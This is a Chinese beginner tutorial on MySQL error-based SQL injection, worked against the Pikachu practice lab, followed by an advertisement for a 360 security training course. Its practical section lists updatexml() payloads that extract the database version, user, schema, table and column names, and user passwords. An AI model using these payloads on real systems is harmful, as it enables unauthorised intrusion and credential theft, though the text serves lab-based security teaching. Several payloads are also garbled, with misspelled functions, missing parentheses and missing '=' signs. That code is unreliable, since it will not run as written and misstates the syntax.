【新手入门】SQL注入之报错注入 【新手入门】SQL注入之报错注入一、概念报错注入指在MYSQL中使用一些指定的函数来制造报错从而从报错信息中获取设定的信息。常见的select/insert/update/delete注入都可以使用报错方式来获取信息。为什么要用函数报错是因为我们之前学到的一些注入测试手段可能看不到报错被屏蔽或者处理了不好判断是否有注入点所以学一下基于函数的报错。二、原理以皮卡丘靶场为例“http header”注入登录抓包用测试语句测试若测试后没有报错但也没看到用户表中的数据页面渲染还是原先的页面可能是因为服务端那边拿到数据之后只是在数据库中查询了一下有没有admin’这个用户就结束了没有把整个表里面的查到的数据展示给你看。在页面没有给任何反馈信息的情况下就可以用到报错注入。三、报错注入分类updatexml注入insert注入update注入delete注入extractvalue注入四、三个常用的用来报错的函数Updatexml)函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。extractvalue()函数是MYSQL对XML文档数据进行查询的XPATH函数。floor():MYSQL中用来取整的函数。1.updatexml(XML_document, XPath_string, new_value);它是一个内容替换函数主要针对的xml数据;第一个参数XML_document是String格式为XML文档对象的名称文中为Doc第二个参数XPath_string (Xpath格式的字符串第三个参数new_value,String格式替换查找到的符合条件的数据。如数据版本为5.5.53那么concat连接之后得到的结果为5.5.53updatexml(1,5.5.53,1)其中5.5.53并不符合xpath的语法格式会报错。2.extractvalue()EXTRACTVALUE (XML_document, XPath_string);从目标XML中返回包含所查询值的字符串。第一个参数XML_document是String格式为XML文档对象的名称第二个参数XPath_string (Xpath格式的字符串concat返回结果为连接参数产生的字符串。如SELECT Extractvalue(‘’,‘/a/b’)就是寻找前一段xml文档内容中的a节点下的b节点这里书写错误的话就会报错。**### 五、实战演练1、爆数据库版本信息k’ and updatexml(1,concat(0x7e,(SELECT version),0x7e),1)#K这个字母是随便写的写什么都可以 0x7e是16进制表示一个~符号k’and updatexm(1,concat(0x7e,(SELECTversion),0x7e),1)#k‘and updatexml(1,concat(“~”,(SELECT version),“~”),1)#这里为什么不直接写~而是写成了16进制呢因为本身为字符串如果直接写需要用引号引起来如果用单引号的话势必会和我们前面闭合用的单引号有些冲突所以只能用双引号还需要写引号比较麻烦并且如果别人后台对引号做了限制的话我们用引号就会注入失败。可以通过编码解码工具查看一些0x7e是什么。concat是mysql中的字符串拼接函数能拼接两个字符串.SELECTversion是查询当前数据库的版本不加两个也是可以的。在靶场搜索型注入中输入k’and updatexm(1,concat(0x7e,(SELECTversion),0x7e),1)#报错但可以查询到数据库版本2、爆数据库当前用户k’ and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#3、爆数据库k’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #4、爆表5.1版本及以上版本mysql数据库中会存在一个叫做的formation_schema的默认数据库这个库里面记录着整个mysq!管理的数据库的名称、表名、列名(字段名)。获取数据库表名输入:k’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema‘pikachu’)),0)#但是反馈回的错误表示只能显示一行所以采用limit来一行一行显示子查询返回的行数大于1limit限制一行,输入k’ and updatexml(1,concat(0x7e,(select table_ name from information_schema.tables wheretable_schema‘pikachu’ limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历。5、爆字段获取字段名输入: k’ and updatexml(1,concat(0x7e,(select column_name from information _schema columns wheretable_name‘users’ and table_schema‘pikachu’ limit 2,1)),0)#6、爆字段内容获取字段内容输入:k’and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#学习资料知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。从零到精通完整闭环基础攻防→渗透测试→应急响应→CTF实战5大模块200课时比大学教材更贴近企业实战”涵盖渗透测试案例分析与实战技巧直接对应面试真题包含CTF竞赛基础与HW行动攻防对抗实录丰富你的简历项目经验深入十大安全漏洞与利用技巧掌握这些高阶技能实战SRC挖洞赚钱。实战教学专属靶场掌握这些高阶技能谈薪更有底气。无论你是找渗透测试岗还是安全服务岗这些项目都是加分项。扫描下方图片补齐实战短板拿下心仪Offer